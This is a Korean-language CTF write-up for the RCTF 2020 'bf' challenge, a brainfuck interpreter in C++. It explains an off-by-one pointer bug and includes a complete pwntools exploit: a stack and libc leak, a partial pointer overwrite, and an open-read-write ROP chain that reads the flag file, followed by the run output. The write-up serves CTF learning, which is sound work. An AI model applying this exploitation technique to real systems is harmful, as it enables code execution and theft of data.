본문으로 바로가기

RCTF 2020 bf (Write - up)

Concept

  1. brain fuck을 구현해 둠

  2. brain fuck의 포인터는 스택에 존재함

  3. CPP바이너리임 (인풋이 길어지면 자동적으로 힙이 할당되며 힙이 점점 커짐)


Vuln

      memset(&tmp, 0, 0x400uLL);
     std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::clear(&inputHeap, 0LL);
     v3 = std::operator<<<std::char_traits<char>>(&std::cout, "enter your code:");
     std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
     while ( 1 )
    {
       v4 = &buf;
       read(0, &buf, 1uLL);
       if ( buf == '\n' )
         break;
       std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(&inputHeap, buf);
    }

일단 위에 코드를 보면 알수있듯이 buf변수에 입력을 하나씩 받고 operator+=inputHeap에 이어붙힌다.

여기서 개꿀잼 몰카인것은 payload의 길이가 0x30정도보다 작으면 inputHeap변수는 스택의 주소를 가지고 있는다. 하지만, CPP특징 상 인풋이 길어지면 자동으로 힙을 할당해서 거기다가 데이터를 넣어준다.


취약점은 >,< 연산자를 처리하는 과정에서 발생한다.

      if ( *std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](&inputHeap, j) == '>' )
    {
       pointer = pointer + 1;
       if ( pointer > &inputHeap )             // rbp-0x4c8 / rbp-0x40
      {
         puts("invalid operation!");
         exit(-1);
      }
    }
     else
    {
       v10 = j;
       if ( *std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](&inputHeap, j) == '<' )
      {
         pointer = pointer - 1;
         if ( pointer < &tmp )
        {
           puts("invalid operation!");
           exit(-1);
        }
      }

보면 if ( pointer > &inputHeap )까지 검사하는데, pointer == inputHeap일 상황에는 검사하지 않는다. 따라서 off by one 취약점이 발생한다.

여기서 ,연산자로 덮을 수 있는 바이트는 inputHeap변수의 딱 한바이트이다. 요걸로 모든것을 끝낼 수 있다.


    v12 = std::ostream::operator<<(&std::cout, &std::endl<char,std::char_traits<char>>);
   v13 = std::operator<<<std::char_traits<char>>(v12, "done! your code: ");
   v14 = std::operator<<<char,std::char_traits<char>,std::allocator<char>>(v13, &inputHeap);
   std::ostream::operator<<(v14, &std::endl<char,std::char_traits<char>>);

위 코드는 inputHeap에 들어있는 데이터를 출력시켜주는 부분인데, inputHeap변수를 한바이트 변조시키게 되면 스택 담긴 값을 볼 수 있을것 같은 기분이 든다.


Exploit

근데 몇가지 문제가 있다.

  1. payload가 0x40(?)정도 길이가 넘어가면 스택 주소가 박히는데, 취약점을 트리거하기 위해서는 포인터를 증가시키는 연산자인 >를 0x400번 사용해야한다. => 페이로드의 길이가 0x400이 넘어가 자동적으로 힙에 데이터가 할당된다.

  2. brain fuck으로 반복문을 만들어 payload를 줄이려고 해도 brain fuck은 단 하나의 포인터만을 사용하기 때문에 반복문을 만들기 쉽지 않다.


일단 절대로 inputHeap변수 안에 힙주소가 들어가게 해서는 안된다. 힙을 변조해도 아무것도 할게 없다. 그래서 짱구를 굴려서 brain fuck반복문을 만들어야 한다.


나는 아래와 같이 했다.

code("++[[>]+,]>.,")

일단 [연산자는 현재 포인터 안에 담긴 값이 NULL이면 ]을 찾아가 반복문을 종료시킨다.

그래서 +연산자로 포인터 안의 값을 0x01로 만들어준다.

그다음에는 반복문에 진입하게 되는데, 한바이트를 옮기고 나서 +연산자를 사용한 후에, ,연산자로 입력을 받게 된다. 만약 여기서 NULL을 입력하게 된다면, []연산자에 의해 반복이 종료되는 것이다.

즉, 우리는 우리가 원할때 반복을 종료할 수 있어진다.


반복문이 종료되면, .연산자에 의해 스택의 마지막 바이트가 leak된다. 이제 이를 이용해서 스택의 마지막 바이트를 쓱쓱 변조할 수 있다.

나는 return address가 있는 쪽으로 변조시켰다.


일단 이렇게 inputHeap변수를 변조시켰으면, 다음 인풋부터는 우리가 변조시킨 주소로 들어간다. 그래서 우리가 입력한 값이 즉시 return address에 박힌다는 의미이다.

그래서 그냥 ORW ROP를 하면 될줄알았는데, 한가지 문제가 있었다.


__int64 __fastcall sub_1EC4(__int64 a1)
{
 return std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(a1 + 0x400);
}

프로그램을 종료할때 basic_string객체의 소멸자를 실행하는데, a1 + 0x400free시킨다. 해당 부분은 inputHeap변수이고, 해당 주소는 우리가 변조시켰기때문에 free에서 Seg fault가 발생하게 된다.

그래서 마지막에는 페이로드를 일정 길이로 늘려서 inputHeap변수에 힙주소가 다시 들어가도록 세팅해주면 된다.


from pwn import *

#context.log_level = "debug"

binary = "./bf"
e = ELF(binary)
libc = e.libc

r = process(binary, aslr = True)
#r = remote("124.156.135.103", 6002)

def code(payload):
    r.recvuntil("enter your code:")
    r.sendline(payload)

def select(payload):
    r.recvuntil("want to continue?")
    r.send(payload)

def read(payload):
    r.send(payload)

##### LIBC LEAK #####
code("++[[>]+,]>.,")

for i in range(0x400 - 0x2):
    read("\x01")
    read("\x00")

r.recvuntil("running....\n")
lsb = ord(r.recv(1))
log.info("lsb : " + hex(lsb))

read(p8(lsb + 0x38))

l = u64(r.recvuntil("\x7f")[-6:] + "\x00\x00")
l -= libc.symbols["__libc_start_main"] + 231
log.info("libc base : " + hex(l))

select("Y")

##### FIND GAGDET #####
rdi = l + 0x000000000002155f
rsi = l + 0x0000000000023e6a
rdx = l + 0x0000000000001b96
rcx = l + 0x000000000003eb0b

##### SET PAYLOAD & RECOVERY HEAP #####
flag = l + 0x3ebc40

payload = ""
payload += p64(rdi) + p64(0)
payload += p64(rsi) + p64(flag)
payload += p64(rdx) + p64(0x30)
payload += p64(l + libc.symbols["read"])

payload += p64(rdi) + p64(flag)
payload += p64(rsi) + p64(0)
payload += p64(l + libc.symbols["open"])

payload += p64(rdi) + p64(3)
payload += p64(rsi) + p64(flag)
payload += p64(rdx) + p64(0x50)
payload += p64(l + libc.symbols["read"])

payload += p64(rdi) + p64(1)
payload += p64(rsi) + p64(flag)
payload += p64(rdx) + p64(0x50)
payload += p64(l + libc.symbols["write"])

code(payload + "++[[>]+,]>.,")

for i in range(0x400 - 0x2):
read("\x01")
read("\x00")
read(p8(lsb))

select("N")

#### ORW #####
sleep(0.5)
r.send("./flag\x00")

r.interactive()

그래서 마지막에는 페이로드를 일정 길이로 늘려서 inputHeap변수에 힙주소가 다시 들어가도록 세팅해주면 된다.


juntae@ubuntu:~/ctf/Rctf/bf$ p ex.py 
[*] '/home/juntae/ctf/Rctf/bf/bf'
  Arch:     amd64-64-little
  RELRO:   Full RELRO
  Stack:   Canary found
  NX:       NX enabled
  PIE:     PIE enabled
[*] '/lib/x86_64-linux-gnu/libc.so.6'
  Arch:     amd64-64-little
  RELRO:   Partial RELRO
  Stack:   Canary found
  NX:       NX enabled
  PIE:     PIE enabled
[+] Starting local process './bf': pid 3039
[*] lsb : 0x20
[*] libc base : 0x7ff6600dd000
[*] Switching to interactive mode

FLAG
g\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00PA賒U